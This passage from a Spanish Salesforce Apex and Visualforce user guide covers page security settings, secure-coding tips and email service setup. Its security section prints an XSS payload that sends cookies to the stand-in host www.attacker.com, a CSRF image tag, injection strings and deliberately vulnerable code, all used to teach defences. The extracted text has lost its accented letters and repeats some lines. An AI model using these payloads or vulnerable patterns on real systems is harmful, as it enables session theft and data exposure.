Adems, para incluir Apex en una pgina, los usuarios deben tener el permiso "Autor de Apex" o acceder a la clase de Apex.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 90

Nota: Las organizaciones con Force.com Sites o portales de clientes pueden activar las pginas de Visualforce asignndolas a los
perfiles de los usuarios o activndolas para todo el sitio.
CONSULTE TAMBIN
Sugerencias de seguridad para el desarrollo de Apex y Visualforce
Configuracin de la seguridad de pgina de Visualforce desde una definicin de pgina.
Configuracin de la seguridad de pgina de Visualforce desde los conjuntos de permisos
Configuracin de la seguridad de pgina de Visualforce desde los perfiles

Configuracin de la seguridad de pgina de Visualforce desde una definicin de pgina.


1. En Configuracin, haga clic en Desarrollo > Pginas.

EDICIONES

2. Junto al nombre de la pgina que desea restringir, haga clic en Seguridad.


3. Seleccione los perfiles que desea activar en la lista Perfiles disponibles y haga clic en Agregar.
4. Seleccione los perfiles que desea desactivar en la lista Perfiles activados y haga clic en Quitar.
5. Haga clic en Guardar.

Disponible en: Contact


Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para establecer la
seguridad de pgina
deVisualforce:
Gestionar conjuntos de
permisos y perfiles
Y
Personalizar aplicacin

Configuracin de la seguridad de pgina de Visualforce desde los conjuntos de permisos


1. En Configuracin, haga clic en Gestionar usuarios > Conjuntos de permisos.

EDICIONES

2. Seleccione un conjunto de permisos.


3. Haga clic en Acceso a la pgina de Visualforce.
4. Haga clic en Modificar.
5. Seleccione las pginas de Visualforce que quiera activar desde la lista Pginas de Visualforce
disponibles y haga clic en Agregar, o seleccione las pginas de Visualforce que quiera desactivar
desde la lista Pginas de Visualforce activadas y haga clic en Eliminar.
6. Haga clic en Guardar.

Disponible en: Enterprise


Edition, Performance
Edition, Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para modificar la
configuracin de acceso a
la pgina de Visualforce:
Gestionar conjuntos de
permisos y perfiles

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 91

Configuracin de la seguridad de pgina de Visualforce desde los perfiles


1. En Configuracin, haga clic en Gestionar usuarios > Perfiles.

EDICIONES

2. Haga clic en el nombre del perfil que desea modificar.


3. Vaya a la pgina Acceso a la pgina de Visualforce o la lista relacionada y haga clic en Modificar.
4. Seleccione las pginas de Visualforce que quiera activar desde la lista Pginas de Visualforce
disponibles y haga clic en Agregar, o seleccione las pginas de Visualforce que quiera desactivar
desde la lista Pginas de Visualforce activadas y haga clic en Eliminar.
5. Haga clic en Guardar.

Disponible en: Contact


Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para establecer la
seguridad de pgina de
Visualforce:
Gestionar conjuntos de
permisos y perfiles

Sugerencias de seguridad para el desarrollo de Apex y Visualforce


Concepto de seguridad
La potente combinacin de las pginas Apex y Visualforce permite a los desarrolladores de Force.com
ofrecer funciones personalizadas y lgica comercial a Salesforce o crear un producto completamente
nuevo e independiente que se ejecuta en la plataforma Force.com. Sin embargo, como con cualquier
lenguaje de programacin, los desarrolladores deben ser conscientes de posibles riesgos relacionados
con la seguridad.
Salesforce.com ha incorporado varias funciones de seguridad en la plataforma Force.com. Sin
embargo, los desarrolladores menos cuidadosos pueden omitir las defensas predefinidas en muchos
casos y exponer a sus aplicaciones y sus clientes a riesgos de seguridad. Muchos de los errores de
codificacin que un desarrollador puede cometer en la plataforma Force.com son similares a las
vulnerabilidades de seguridad de aplicaciones Web, mientras que otras son exclusivas de Apex.

EDICIONES
Disponible en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition y
Database.com Edition
Visualforce no est
disponible en
Database.com.

Para certificar una aplicacin para AppExchange, es importante que los desarrolladores conozcan
y comprendan los fallos de seguridad que se describen aqu. Para obtener ms informacin, consulte
la pgina de recursos de seguridad de Force.com de Developer Force en https://developer.salesforce.com/page/Security.

Cross-Site Scripting (XSS)


Los ataques de cross-site scripting (XSS) incluyen una amplia gama de ataques en los que en una aplicacin Web se incrustan HTML o
secuencias de comando dainas en el lado del cliente. La aplicacin Web incluye una secuencia de cdigo daina en una respuesta a
un usuario de la aplicacin Web. El usuario se convierte en vctima del ataque sin saberlo. El atacante ha utilizado la aplicacin Web
como intermediaria del ataque, aprovechando que la vctima confa en ella. La mayora de las aplicaciones que muestran pginas Web
dinmicas sin validar adecuadamente los datos que pueden ser vulnerables. Los ataques contra sitios Web son muy fciles si se pretende
que la entrada de un usuario se muestre a otro usuario. Algunas posibilidades obvias incluyen sitios Web de boletines de noticias o de
comentarios de usuarios, noticias o archivos comprimidos de correo electrnico.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 92

Por ejemplo, suponga que se incluye la siguiente secuencia de comando en una pgina de Force.com utilizando un componente de
secuencia de comando, un evento on* o una pgina de Visualforce.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

Este bloque de secuencias de comandos inserta en la pgina el valor de userparam proporcionado por el usuario. El atacante puede
introducir el siguiente valor de userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

En este caso, todas las cookies de la pgina actual se envan a www.attacker.com como la cadena de la consulta en la solicitud
de la secuencia de comandos de cookie.cgi. En este punto, el atacante tiene la cookie de la sesin de la vctima y se puede conectar
a la aplicacin Web como si fuera la vctima.
El atacante puede publicar cdigo daino utilizando informacin de un sitio Web o de correo electrnico. Los usuarios de la aplicacin
Web no slo vern la entrada del atacante, sino que pueden ejecutar la secuencia de comandos del atacante con su navegador en un
contexto de confianza. De esta forma, el atacante puede realizar una amplia variedad de ataques contra la vctima. Estos ataques varan
desde simples acciones como abrir y cerrar ventanas, a ataques ms graves como el robo de datos o de cookies de sesin, lo que permite
al atacante tener acceso completo a la sesin de la vctima.
Para obtener ms informacin sobre este tipo de ataque en general, consulte los siguientes artculos:
http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cgisecurity.com/xss-faq.html
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
http://www.google.com/search?q=cross-site+scripting
En la plataforma Force.com existen varias defensas anti XSS en marcha. Por ejemplo, salesforce.com ha implementado filtros que eliminan
caracteres dainos en la mayora de mtodos de salida. Para el desarrollador que utiliza clases estndar y mtodos de salida, las amenazas
de los fallos de XSS se han mitigado en gran medida. Sin embargo, un desarrollador creativo puede encontrar formas de omitir los
controles predeterminados de manera intencionada o accidental. Las siguientes secciones muestran dnde existen protecciones y
dnde no.

Proteccin existente
Todos los componentes estndar de Visualforce, que comienzan por <apex>, tienen filtros anti XSS activados. Por ejemplo, el siguiente
cdigo es normalmente vulnerable a un ataque XSS porque devuelve las entradas y salidas al usuario, pero la etiqueta
<apex:outputText> es segura. Todos los caracteres que parecen ser etiquetas HTML se convierten a su formato literal. Por ejemplo,
el carcter < se convierte a &lt; para que se muestre un literal < en la pantalla del usuario.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>

Desactivacin de exclusin en etiquetas de Visualforce


Por defecto, casi todas las etiquetas de Visualforce excluyen los caracteres vulnerables a XSS. Es posible desactivar este comportamiento
definiendo el atributo opcional escape="false". Por ejemplo, la siguiente salida es vulnerable a ataques XSS:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 93

Elementos de programacin no protegidos de XSS


Los siguientes elementos no tienen protecciones contra XSS incorporadas, por lo que debe tener especial cuidado cuando utilice estas
etiquetas y objetos. Se debe a que los elementos deberan permitir al desarrollador personalizar la pgina insertando secuencias de
comandos. No tiene sentido incluir filtros anti XSS en comandos que se aaden de manera intencionada a la pgina.
JavaScript personalizado
Si crea sus propios comandos de JavaScript, la plataforma Force.com no puede protegerle. Por ejemplo, el siguiente cdigo es
vulnerable a XSS si se utiliza en JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script>

<apex:includeScript>
El componente <apex:includeScript> de Visualforce le permite incluir una secuencia de comandos personalizada en la
pgina. En estos casos, asegrese de validar que el contenido es seguro y no incluye datos proporcionados por el usuario. Por ejemplo,
el siguiente miniprograma es muy vulnerable ya que incluye una entrada proporcionada por el usuario como el valor del texto de
la secuencia de comandos. El valor que proporciona la etiqueta es una URL que debe incluir JavaScript. Si un atacante puede
proporcionar datos arbitrarios a este parmetro (como en el siguiente ejemplo), pueden dirigir potencialmente a la vctima a incluir
cualquier archivo JavaScript desde cualquier otro sitio Web.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Etiquetas de frmula
La sintaxis general de estas etiquetas es:{!FUNCTION()} o {!$OBJECT.ATTRIBUTE}. Por ejemplo, si un desarrollador quiere
incluir un Id. de sesin de usuario en un vnculo, puede crear el siguiente vnculo utilizando la siguiente sintaxis:
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

Que produce un resultado similar al siguiente:


<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

Las expresiones de frmula pueden ser llamadas de funciones o incluir informacin sobre objetos de plataforma, un entorno de usuario,
entorno de sistema y el entorno de la solicitud. Una caracterstica importante de estas expresiones es que los datos no se excluyen
durante el procesamiento. Como las expresiones se procesan en el servidor, no es posible excluir datos procesados en el cliente utilizando
JavaScript u otra tecnologa del lado del cliente. Pueden producirse situaciones potencialmente peligrosas si la expresin de la frmula
hace referencia a datos ajenos al sistema (potencialmente hostiles o datos editables) y la expresin no se incluye en una funcin para
excluir la salida durante el procesamiento. Una vulnerabilidad comn se crea utilizando la expresin {!$Request.*} para acceder
a los parmetros de la solicitud.
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 94

Desafortunadamente, la etiqueta {!$Request.title} sin escape tambin produce una vulnerabilidad XSS. Por ejemplo, la
solicitud:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

produce la salida:
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>

El mecanismo estndar para la exclusin del lado del servidor es la etiqueta de frmula SUBSTITUTE(). Teniendo en cuenta la
ubicacin de la expresin {!$Request.*} en el ejemplo, el ataque anterior se podra evitar utilizando las siguientes llamadas
anidadas SUBSTITUTE().
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>

Dependiendo de la ubicacin de la etiqueta y del uso de los datos, los dos caracteres que necesitan excluirse y sus equivalente excluidos
pueden variar. Por ejemplo, esta declaracin:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

requiere que el carcter entre comillas se excluya con esta URL codificada equivalente de %22 en lugar de la HTML excluida ", ya que
probablemente se utilice como vnculo. Por otra parte, la declaracin:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

da como resultado:
<script>var ret = "foo";alert('xss');//";</script>

Adems, la variable ret puede necesitar exclusiones adicionales del lado del cliente despus en la pgina si se utiliza de manera que
pueda causar que se interpreten los caracteres de control HTML.
Las etiquetas de frmula tambin se pueden utilizar para incluir datos de objetos de plataforma. Aunque los datos se toman directamente
de la organizacin del usuario, se deben excluir antes para evitar que los usuarios ejecuten el cdigo en el contexto de otros usuarios
(potencialmente aquellos con los mayores niveles de privilegios). Aunque estos tipos de ataques deben ejecutarlos usuarios de la misma
organizacin, afectan a las funciones de los usuarios de la organizacin y reducen la integridad de los registros de control. Adems,
muchas organizaciones contienen datos que se han importado de fuentes externas y es posible que no se hayan filtrado en busca de
contenido daino.

Cross-Site Request Forgery (CSRF)


Cross-Site Request Forgery (CSRF) tienen ms que ver con fallos de defensa que con defectos de programacin. La forma ms fcil de
describir el CSRF es con un sencillo ejemplo. Un atacante tiene una pgina Web en www.attacker.com. Puede ser cualquier pgina
Web, incluyendo una que proporcione servicios o informacin valiosos que atraigan el trfico hacia el sitio. En cualquier parte de la
pgina del atacante habr una etiqueta HTML con la siguiente apariencia:
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 95

En otras palabras, la pgina del atacante contiene una URL que ejecuta una accin en el sitio Web de la vctima. Si el usuario sigue
registrado en la pgina Web de la vctima mientras visita la pgina Web del atacante, la URL se recupera y se ejecutan las acciones
definidas. Este ataque se producir porque el usuario sigue autenticado en la pgina Web de la vctima. Se trata de un ejemplo muy
simple y el atacante puede ser ms creativo si utiliza secuencias de comando para generar la solicitud de devolucin de llamada o utilizar
ataques CSRF contra sus mtodos de AJAX.
Para obtener ms informacin al respecto y sobre las defensas tradicionales, consulte los siguientes artculos:
http://www.owasp.org/index.php/Cross-Site_Request_Forgery
http://www.cgisecurity.com/csrf-faq.html
http://shiflett.org/articles/cross-site-request-forgeries
En la plataforma Force.com, salesforce.com ha implementado un token anti CSRF para evitar este ataque. Cada pgina incluye una
cadena aleatoria de caracteres como un campo de formulario oculto. La prxima vez que se cargue la pgina, la aplicacin comprueba
la validez de esta cadena de caracteres y no ejecuta el comando salvo que el valor coincida con el valor esperado. Esta funcin le protege
cuando utilice todos los controladores y mtodos estndar.
De nuevo, el desarrollador puede omitir las defensas predefinidas sin considerar el riesgo. Por ejemplo, suponga que tiene un controlador
personalizado desde donde toma el Id. de objeto como parmetro de entrada y utiliza ese parmetro en una llamada SOQL. Considere
el siguiente miniprograma de cdigo.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}

En este caso, el desarrollador ha omitido los controles anti CSRF sin saberlo desarrollando su propio mtodo de accin. El parmetro id
se lee y se utiliza en el cdigo. El token anti CSRF no se lee ni se valida. Una pgina Web del atacante puede haber enviado al usuario a
esta pgina utilizando un ataque CSRF y proporcionar el valor que desee para el parmetro id.
No hay defensas predefinidas para este tipo de situaciones, por lo que los desarrolladores deben tener cuidado a la hora de escribir
pginas que desarrollen acciones basadas en parmetros proporcionados por el cliente como la variable id en el ejemplo anterior. Una
posible solucin temporal es insertar una pgina de confirmacin intermedia antes de realizar la accin, para comprobar si que el usuario
pretenda acceder a la pgina. Entre otras soluciones se incluyen reducir el tiempo de inactividad de la sesin en la organizacin y
acostumbrar a los usuarios a que cierren su sesin activa y no utilicen su navegador para visitar otros sitios mientras estn autenticados.

Inyeccin SOQL
En otros lenguajes de programacin, el fallo anterior se conoce como inyeccin SQL. Apex no utiliza SQL, sino que utiliza su propio
lenguaje de consulta de base de datos, SOQL. SOQL es mucho ms simple y con menos funcionalidades que SQL. Por lo tanto, los riesgos
de SOQL son mucho menores que los de SQL, pero los ataques son casi idnticos a los de inyeccin SQL tradicional. En resumen, inyeccin
SQL/SOQL implica entradas proporcionadas por el usuario y el uso de estos valores en una consulta SOQL dinmica. Si la entrada no
est validada, puede incluir comandos SOQL que modifiquen la declaracin SOQL y engaen a la aplicacin para que ejecute los comandos
no deseados.
Para obtener ms informacin sobre ataques de inyeccin SQL, consulte:
http://www.owasp.org/index.php/SQL_injection
http://www.owasp.org/index.php/Blind_SQL_Injection

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 96

http://www.owasp.org/index.php/Guide_to_SQL_Injection
http://www.google.com/search?q=sql+injection

Vulnerabilidades de inyeccin SOQL en Apex


A continuacin se incluye un ejemplo de cdigo de Apex y Visualforce vulnerable a inyeccin SOQL.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query} />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
queryResult = Database.query(qryString);
return null;
}
}

Se trata de un ejemplo muy simple, pero muy ilustrativo de la lgica. El cdigo intenta buscar los contactos que no se han eliminado.
El usuario proporciona un valor de entrada denominado name. El valor puede ser cualquiera que proporcione el usuario y no se valida
nunca. La consulta SOQL se crea de forma dinmica y se ejecuta con el mtodo Database.query. Si el usuario proporciona un valor
vlido, la declaracin se ejecuta como se esperaba:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

Sin embargo, si el usuario proporcionara un valor no esperado como:


// User supplied value for name: test%') OR (Name LIKE '

en ese caso, la consulta es:


SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Ahora, los resultados muestran todos los contactos, no slo los que se eliminan. Una vulnerabilidad de inyeccin SOQL se puede utilizar
para modificar la lgica prevista de cualquier consulta vulnerable.

Defensas de inyeccin SOQL


Para evitar un ataque de inyeccin SOQL, evite utilizar consultas SOQL dinmicas. En su lugar, utilice consultas estticas y variables de
vinculacin. El ejemplo vulnerable anterior se podra reescribir utilizando SOQL esttica como la siguiente:
public class SOQLController {
public String name {

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 97

get { return name;}


set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}

Si debe utilizar SOQL dinmica, utilice el mtodo escapeSingleQuotes para depurar las entradas proporcionadas por el usuario.
Este mtodo aade el carcter de escape (\) a todas las comillas simples de una cadena procedente del usuario. Este mtodo garantiza
que todas las comillas simples se consideren cadenas de cierre, en lugar de comandos de base de datos.

Control de acceso a los datos


La plataforma Force.com hace un gran uso de las reglas de colaboracin de datos. Cada objeto tiene permisos y puede tener una
configuracin de colaboracin segn la cual los usuarios pueden leer, crear, modificar y eliminar. Estas configuraciones se aplican cuando
se utilizan todos los controladores estndar.
Si utiliza una clase de Apex, los permisos de usuario predefinidos y las restricciones de nivel de campo no se respetan durante su ejecucin.
El comportamiento por defecto es que una clase de Apex puede leer y actualizar todos los datos de la organizacin. Como estas reglas
no se aplican, los desarrolladores que utilizan Apex deben cuidar de no exponer datos importantes de manera inadvertida que normalmente
estaran ocultos a los usuarios segn sus permisos de usuario, seguridad a nivel de campo o las configuraciones predeterminadas de la
organizacin. Afecta particularmente a las pginas de Visualforce. Por ejemplo, consideremos el siguiente cdigo Apex de ejemplo:
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}

En este caso, se buscan todos los registros de los contactos, incluso si el usuario que ha iniciado sesin no tendra normalmente permiso
para ver estos registros. La solucin es utilizar las palabras claves de calificacin with sharing al declarar la clase:
public with sharing class customController {
. . .
}

La palabra clave with sharing dirige la plataforma para utilizar los permisos de colaboracin de seguridad del usuario que ha
iniciado sesin, en lugar de proporcionar acceso completo a todos los registros.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 98

Servicios de correo electrnico


Qu son los servicios de correo electrnico?
Los servicios de correo electrnico son procesos automatizados que utilizan las clases de Apex para
procesar el contenido, encabezados y archivos adjuntos de los mensajes de correo electrnico
entrante. Por ejemplo, puede crear un servicio de correo electrnico que cree automticamente
registros de contactos en funcin de la informacin de contacto de los mensajes.
Puede asociar cada servicio de correo electrnico con una direccin de correo electrnico generada
de Salesforceo ms a las que los usuarios pueden enviar mensajes para su procesamiento. Para
ofrecer acceso a varios usuarios a un nico servicio de correo electrnico, puede:
Asociar varias direcciones de correo electrnico generado de Salesforce con el servicio de correo
electrnico y asignar esas direcciones a los usuarios.
Asociar una nica direccin de correo electrnico generado de Salesforce con el servicio de
correo electrnico y escribir una clase de Apex que se ejecuta segn el usuario accede al servicio
de correo electrnico. Por ejemplo, puede escribir una clase de Apex que identifique al usuario
segn su direccin de correo electrnico y cree registros en nombre de otro usuario.
Para utilizar los servicios de correo electrnico, en Configuracin, haga clic en Desarrollo > Servicios
de correo electrnico.
Haga clic en Nuevo servicio de correo electrnico para definir un nuevo servicio de correo
electrnico.
Seleccione un nuevo servicio de correo electrnico para ver esta configuracin, actvelo o
desactvelo y visualice o especifique las direcciones del servicio de correo electrnico.
Haga clic en Modificar para realizar cambios en un servicio de correo electrnico.
Haga clic en Eliminar para eliminar un servicio de correo electrnico.
Nota: Antes de eliminar servicios de correo electrnico, deber eliminar todas las
direcciones de servicio de correo electrnico asociadas.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition
El uso de servicios de correo
electrnico en paquetes de
AppExchange instalados
tambin est disponible en:
Group Edition y
Professional Edition

PERMISOS DE USUARIO
Para configurar los servicios
y las direcciones del servicio
de correo electrnico de
Apex:
Modificar todos los
datos
Para crear las clases de
Apex:
"Apex de autor"

Cuando defina servicios de correo electrnico, tenga en cuenta lo siguiente:


Un servicio de correo electrnico slo procesa los mensajes que reciba en una de sus direcciones.
Salesforce limita el nmero total de mensajes que los servicios de correo electrnico pueden procesar, incluyendo Correo electrnico
para registro de casos On-Demand diariamente. Los mensajes que superan este lmite se rechazan, descartan o se ponen en cola
para su procesamiento al da siguiente, dependiendo de cmo configure la configuracin de respuesta de error para cada servicio
de correo electrnico. Salesforce calcula el lmite multiplicando el nmero de licencias por 1.000, hasta un mximo diario de 1.000.000.
Por ejemplo, si tiene 10 licencias, su organizacin puede procesar hasta 10.000 correos electrnicos cada da.
Las direcciones de servicio de correo electrnico que cree en su Sandbox no se pueden copiar en su organizacin de produccin.
Por cada servicio de correo electrnico, puede indicar a Salesforce que enve mensajes de correo electrnico de error a una direccin
especificada en lugar de a la direccin de correo electrnico del remitente.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 99

Los servicios de correo electrnico rechazan mensajes de correo electrnico y notifican al remitente si el correo electrnico
(combinacin del texto del cuerpo, HTML del cuerpo y los archivos adjuntos) supera aproximadamente los 10 MB (vara dependiendo
del idioma y el conjunto de caracteres).
CONSULTE TAMBIN
Definicin de direcciones de servicio de correo electrnico
Definicin de servicios de correo electrnico
Uso del objeto InboundEmail

Definicin de direcciones de servicio de correo electrnico


1. Haga clic en Desarrollo > Servicios de correo electrnico.

EDICIONES

2. Seleccione el servicio de correo electrnico para el que desea definir una direccin.
3. Haga clic en Nuevo servicio de correo electrnico o haga clic en Modificar para cambiar la
configuracin de una direccin de servicio de correo electrnico existente. Para eliminar una
direccin de servicio de correo electrnico, haga clic en Ver y Eliminar.
4. En el campo Direccin de correo electrnico, introduzca la parte local de la
direccin del servicio de correo electrnico. Salesforce genera una parte de dominio nico para
cada direccin del servicio de correo electrnico para asegurar que no hay dos direcciones del
servicio de correo electrnico idntico. La parte del dominio generada aparece a la derecha del
campo Direccin de correo electrnico.
Consejo: Para la parte local de una direccin de correo electrnico de Salesforce, todos
los caracteres alfanumricos son vlidos, adems de los siguientes caracteres especiales:
!#$%&'*/=?^_+-`{|}~. Para la parte del dominio de una direccin de correo electrnico
de Salesforce, slo los caracteres alfanumricos son vlidos, adems del guin (-). El
carcter de punto (.) tambin es vlido en la parte local y del dominio siempre que no
sea el primer carcter.
Las direcciones de correo electrnico de Salesforce no distinguen entre minsculas y
maysculas.
5. Active la casilla de verificacin Activo si desea activar la direccin del servicio de correo
electrnico cuando haga clic en Guardar.

Disponible en: Enterprise


Edition, Performance
Edition, Unlimited Edition y
Developer Edition
El uso de servicios de correo
electrnico en paquetes de
AppExchange instalados
tambin est disponible en:
Group Edition y
Professional Edition

PERMISOS DE USUARIO
Para configurar los servicios
y las direcciones del servicio
de correo electrnico de
Apex:
Modificar todos los
datos
Para crear las clases de
Apex:
"Apex de autor"

6. Seleccione Usuario de contexto. El servicio de correo electrnico asume los permisos


del usuario de contexto cuando procesa los mensajes que recibe esta direccin. Por ejemplo,
si el servicio de correo electrnico est configurado para modificar los registros de contactos
cuando reciba la informacin del contacto actualizada, el servicio de correo electrnico slo modifica un registro si el usuario de
contexto tiene permiso para modificar el registro.
Importante: Seleccione un usuario de contexto que tenga permiso para ejecutar la clase de Apex que tenga el servicio de
correo electrnico configurado para utilizar.
7. Tambin puede configurar esta direccin de correo electrnico para aceptar nicamente mensajes de algunos remitentes, mostrando
sus direcciones y dominios de correo electrnico en el cuadro de texto Aceptar correo electrnico de. Separe las
diferentes entradas con comas. Por ejemplo: george@miempresa.com, yahoo.com, gmail.com. Si el cuadro de texto Aceptar
correo electrnico de tiene un valor y el servicio de correo electrnico recibe un mensaje de una direccin o dominio
de correo electrnico no incluida en la lista, el servicio de correo electrnico ejecuta la accin especificada en la configuracin de
respuesta de error Accin de remitente no autorizado.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 100

Deje este campo en blanco si desea que el servicio de correo electrnico reciba un correo electrnico de cualquier direccin de
correo electrnico.
Nota: Si tanto el servicio como la direccin de correo electrnico estn configuradas para aceptar nicamente mensajes de
algunos remitentes, el servicio de correo electrnico slo procesa mensajes de remitentes incluidos en los cuadros de texto
Aceptar correo electrnico de en el servicio de correo electrnico y las direcciones de servicio de correo
electrnico.
8. Haga clic en Guardar para guardar sus cambios o Guardar y crear nueva para definir otra direccin de correo electrnico entrante
para este servicio de correo electrnico.
CONSULTE TAMBIN
Definicin de servicios de correo electrnico
Qu son los servicios de correo electrnico?

Definicin de servicios de correo electrnico


Para definir un servicio de correo electrnico:

EDICIONES

1. Haga clic en Desarrollo > Servicios de correo electrnico.


2. Haga clic en Nuevo servicio de correo electrnico o haga clic en Modificar para modificar
un servicio de correo electrnico existente.
3. Indique el nombre del servicio de correo electrnico.
4. Seleccione la clase de Apex que desea que utilice este servicio de correo electrnico para
procesar los mensajes. La clase de Apex que seleccione debe implementar la interfaz
Messaging.InboundEmailHandler. Por ejemplo:

Disponible en: Enterprise


Edition, Performance
Edition, Unlimited Edition y
Developer Edition
El uso de servicios de correo
electrnico en paquetes de
AppExchange instalados
tambin est disponible en:
Group Edition y
Professional Edition

PERMISOS DE USUARIO
Para configurar los servicios
y las direcciones del servicio
de correo electrnico de
Apex:
Modificar todos los
datos
Para crear las clases de
Apex:
"Apex de autor"

global class myHandler implements Messaging.InboundEmailHandler {


global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail
email, Messaging.InboundEnvelope envelope) {
Messaging.InboundEmailResult result = new Messaging.InboundEmailresult();
return result;

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 101

}
}

Si desea informacin sobre el objeto InboundEmail, consulte Uso del objeto InboundEmail en la pgina 103.
5. Seleccione los tipos de archivos adjuntos que desea que acepte el servicio de correo electrnico. Las opciones son:
Ninguno
El servicio de correo electrnico acepta el mensaje, pero descarta los archivos adjuntos.
Archivos adjuntos de texto nicamente
El servicio de correo electrnico slo acepta los tipos siguientes de archivos adjuntos:
Archivos adjuntos con text tipo MIME (Extensin de correo de Internet multipropsito).
Archivos adjuntos con application/octet-stream tipo MIME y un nombre de archivo que termina con una
extensin .vcf o .vcs. Se guardan como tipo MIME text/x-vcard y text/calendar, respectivamente.
Mensajes con archivos adjuntos diferentes a los tipos aceptados, pero los archivos adjuntos se descartan.
Archivos adjuntos binarios nicamente
El servicio de correo electrnico slo acepta archivos adjuntos binarios, como archivos de imgenes, audio, aplicaciones y vdeo.
Los archivos adjuntos binarios tienen un lmite de 5 MB por archivo adjunto.
Mensajes con archivos adjuntos no binarios aceptados, pero los archivos adjuntos se descartan.
Todos
El servicio de correo electrnico acepta cualquier tipo de archivos adjuntos.
Nota: Un servicio de correo electrnico slo puede procesar archivos adjuntos si lo configura para aceptar archivos adjuntos
y utiliza una clase de Apex que procese los tipos de archivos adjuntos que acepta el servicio de correo electrnico.
Del mismo modo, tenga en cuenta que los servicios de correo electrnico no aceptan archivos adjuntos en lnea, como grficos
insertados en mensajes de correo electrnico.
6. Tambin puede activar la casilla de verificacin Configuracin de seguridad avanzada de correo
electrnico para configurar el servicio de correo electrnico y verificar la legitimidad del servidor de envo antes de procesar
un mensaje. El servicio de correo electrnico utiliza los siguientes protocolos de autenticacin para comprobar los siguientes
protocolos de autenticacin con el objeto de verificar la legitimidad del remitente:
SPF
SenderId
DomainKeys
Si el servidor de envo cumple al menos uno de estos protocolos y no incumple ninguno, el servicio de correo electrnico acepta el
correo. Si el servidor incumple un protocolo o no admite alguno de ellos, el servicio de correo electrnico ejecuta la accin especificada
en la configuracin de respuesta de error Accin de remitente no autenticado.
Consejo: Antes de activar la casilla de verificacin Autenticar remitentes, compruebe que los remitentes que
espera que utilicen el servicio de correo electrnico admitan al menos uno de los protocolos de autenticacin mencionados
anteriormente. Si desea informacin acerca de estos protocolos de autenticacin, consulte los siguientes sitios Web:
www.openspf.org
www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx
7. Los servicios de correo electrnico rechazan los mensajes de correo electrnico y envan una notificacin al remitente si el mensaje
de correo electrnico (combinacin del texto del cuerpo, HTML del cuerpo y archivos adjuntos) supera aproximadamente los 10 MB
(vara segn el idioma y el juego de caracteres).

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 102

8. Puede convertir los archivos adjuntos de texto en archivos adjuntos binarios.


